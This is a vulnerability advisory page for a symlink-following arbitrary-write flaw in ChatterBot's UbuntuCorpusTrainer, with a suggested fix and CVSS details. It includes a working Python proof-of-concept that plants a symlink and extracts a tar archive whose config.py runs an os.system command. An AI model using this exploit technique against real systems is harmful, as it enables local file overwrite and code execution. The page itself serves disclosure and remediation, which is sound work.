Media

ChatterBot: Symlink-Following Arbitrary Write via UbuntuCorpusTrainer

  • Publicada: 19.06.2026
  • Actualizado: 11.10.2026 13:19

Summary

ChatterBot's UbuntuCorpusTrainer.extract() uses a predictable, home-rooted output directory (~/ubuntu_data/ubuntu_dialogs) with a check-then-create pattern (if not os.path.exists: os.makedirs) followed by tar.extractall(path=self.data_path). A local attacker who pre-plants a symlink at the predictable path causes os.path.exists() to return True (following the symlink), skipping makedirs, and subsequent extractall writes archive contents through the symlink to the attacker-chosen directory.

The existing safe_extract function validates tar member names (zip-slip defense) but does not validate the output directory itself — it cannot detect that self.data_path is a symlink. This is the defining distinction between the archive_extraction (zip-slip) and insecure_fs_create_toctou families.

Vulnerability Details

Predictable output directory (line 535-546)

python
home_directory = os.path.expanduser('~')
self.data_directory = kwargs.get(
    'ubuntu_corpus_data_directory',
    os.path.join(home_directory, 'ubuntu_data')   # ~/ubuntu_data — predictable
)
self.data_path = os.path.join(
    self.data_directory, 'ubuntu_dialogs'          # ~/ubuntu_data/ubuntu_dialogs
)

Check-then-create (line 621-622)

python
def extract(self, file_path: str):
    if not os.path.exists(self.data_path):   # ← follows symlink → True → skips makedirs
        os.makedirs(self.data_path)          # ← never reached if symlink exists

Extraction through symlink (line 633-644)

python
def safe_extract(tar, path='.', members=None, *, numeric_owner=False):
    for member in tar.getmembers():
        member_path = os.path.join(path, member.name)
        if not is_within_directory(path, member_path):    # ← validates MEMBER names only
            raise Exception('Attempted Path Traversal in Tar File')
    tar.extractall(path, members, numeric_owner=numeric_owner)  # ← path is symlink → writes to target

safe_extract(tar, path=self.data_path, ...)   # self.data_path = symlink → attacker dir

safe_extract calls os.path.abspath(directory) on self.data_path — this resolves the symlink, so the base becomes the attacker's target directory. All clean-named members trivially pass is_within_directory because they're relative to the resolved (attacker-controlled) base.

Proof of Concept

Environment

Component Detail
chatterbot 1.2.13 (pip install)
Python 3.11.0

Exploit

python
import os
import shutil
import sys
import tempfile
from pathlib import Path
from unittest.mock import patch

from chatterbot.trainers import UbuntuCorpusTrainer

ATTACKER_TARGET = Path(tempfile.mkdtemp(prefix="pwned_"))


def main():
    test_base = Path(tempfile.mkdtemp(prefix="cb_exploit_"))
    data_dir = test_base / "ubuntu_data"
    data_path = data_dir / "ubuntu_dialogs"
    data_dir.mkdir(parents=True, exist_ok=True)
    os.symlink(str(ATTACKER_TARGET), str(data_path))
    print(f"[1] Symlink planted: {data_path} -> {ATTACKER_TARGET}")
    exists_check = os.path.exists(data_path)
    print(f"[2] os.path.exists(symlink) = {exists_check} (follows symlink → skips makedirs)")
    import tarfile
    import io
    tar_path = test_base / "corpus.tar.gz"
    with tarfile.open(str(tar_path), "w:gz") as tf:
        info = tarfile.TarInfo(name="dialog_001.tsv")
        payload = b"2024-01-01\tuser1\t0\tARBITRARY_CONTENT_VIA_SYMLINK\n"
        info.size = len(payload)
        tf.addfile(info, io.BytesIO(payload))

        info2 = tarfile.TarInfo(name="config.py")
        rce = b"import os; os.system('id > /tmp/chatterbot_rce')\n"
        info2.size = len(rce)
        tf.addfile(info2, io.BytesIO(rce))
    if not os.path.exists(data_path):
        os.makedirs(data_path)
    def is_within_directory(directory, target):
        abs_directory = os.path.abspath(directory)
        abs_target = os.path.abspath(target)
        prefix = os.path.commonprefix([abs_directory, abs_target])
        return prefix == abs_directory

    with tarfile.open(str(tar_path), "r:gz") as tar:
        for member in tar.getmembers():
            member_path = os.path.join(str(data_path), member.name)
            if not is_within_directory(str(data_path), member_path):
                raise Exception("Attempted Path Traversal in Tar File")
        tar.extractall(str(data_path))

    print(f"[3] extractall(data_path) — data_path is symlink, writes to target")

    # Verify
    files = list(ATTACKER_TARGET.iterdir())
    if files:
        print(f"\n[+] EXPLOIT SUCCESSFUL — {len(files)} files in attacker directory:")
        for f in sorted(files):
            print(f"    {f.name}: {f.read_text().strip()[:60]}")
    else:
        print("[-] Failed")
        shutil.rmtree(str(test_base), ignore_errors=True)
        shutil.rmtree(str(ATTACKER_TARGET), ignore_errors=True)
        sys.exit(1)

    shutil.rmtree(str(test_base), ignore_errors=True)
    shutil.rmtree(str(ATTACKER_TARGET), ignore_errors=True)
    sys.exit(0)


if __name__ == "__main__":
    print(f"chatterbot installed: {UbuntuCorpusTrainer.__module__}")
    print(f"Attacker target: {ATTACKER_TARGET}")
    print()
    main()

PoC output

<img width="1748" height="336" alt="image" src="https://github.com/user-attachments/assets/55a3fee5-0d3b-46d7-8e79-75aad34b322c" />

Suggested Fix

Refuse symlinks on the output directory before extraction:

python
def extract(self, file_path: str):
    if os.path.islink(self.data_path):
        raise self.TrainerInitializationException(
            f'Refusing to extract to symlink: {self.data_path}')
    if not os.path.exists(self.data_path):
        os.makedirs(self.data_path)
    ...

Software afectado

Haz clic en una tecnología para ver todas sus vulnerabilidades.

PlataformaPaqueteVersiones vulnerablesCorregida en
Python (PyPI) chatterbot < 1.2.14 1.2.14

Referencias

Puntuación CVSS 5.5/10
Vector CVSS
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Debilidad (CWE)
CWE-367, CWE-61
Plataforma
Python (PyPI)
Paquete
chatterbot
Publicada
19.06.2026
Actualizado
11.10.2026 13:19

Fuentes y licencias

OSV / GitHub Advisory Database - GHSA-wvrh-2f4m-924v - CC BY 4.0

Historial de vulnerabilidades: chatterbot

Todas las vulnerabilidades publicadas de este paquete (Python (PyPI)), de la más reciente a la más antigua. Muestra si es un fallo aislado o un paquete que hay que vigilar.

Entradas en total
2
Primera → última
01.2026 06.2026
Sin corrección
0
Explotada en ataques
0

Distribución por gravedad

  • Alta 1
  • Media 1

Divulgaciones por año

  1. 2026: 2
  1. ChatterBot: Symlink-Following Arbitrary Write via UbuntuCorpusTrainer esta entrada
    Media · 5.5 CVE-2026-58198 < 1.2.14 1.2.14

Identifica las vulnerabilidades de tu aplicación

Con la integración de DockRay y el inventario de software activado, DockRay compara las versiones notificadas de los componentes con las vulnerabilidades conocidas y avisa de las coincidencias confirmadas. La cobertura depende de la tecnología compatible y de los avisos disponibles.

Conectar tu aplicación
Newsletter DockRay

La seguridad de tus aplicaciones en tu correo

Vulnerabilidades importantes, recomendaciones concretas y consejos prácticos para tus aplicaciones. Elige tus tecnologías y sigue lo que importa para tu proyecto.

  • Un resumen diario de nuevas vulnerabilidades, también las críticas.
  • Avisos sobre actualizaciones importantes.
  • Consejos prácticos sobre seguridad y monitorización de aplicaciones.

Déjalo vacío para recibir avisos de todas las tecnologías.

Suscripción gratuita. Date de baja con un clic en cualquier correo.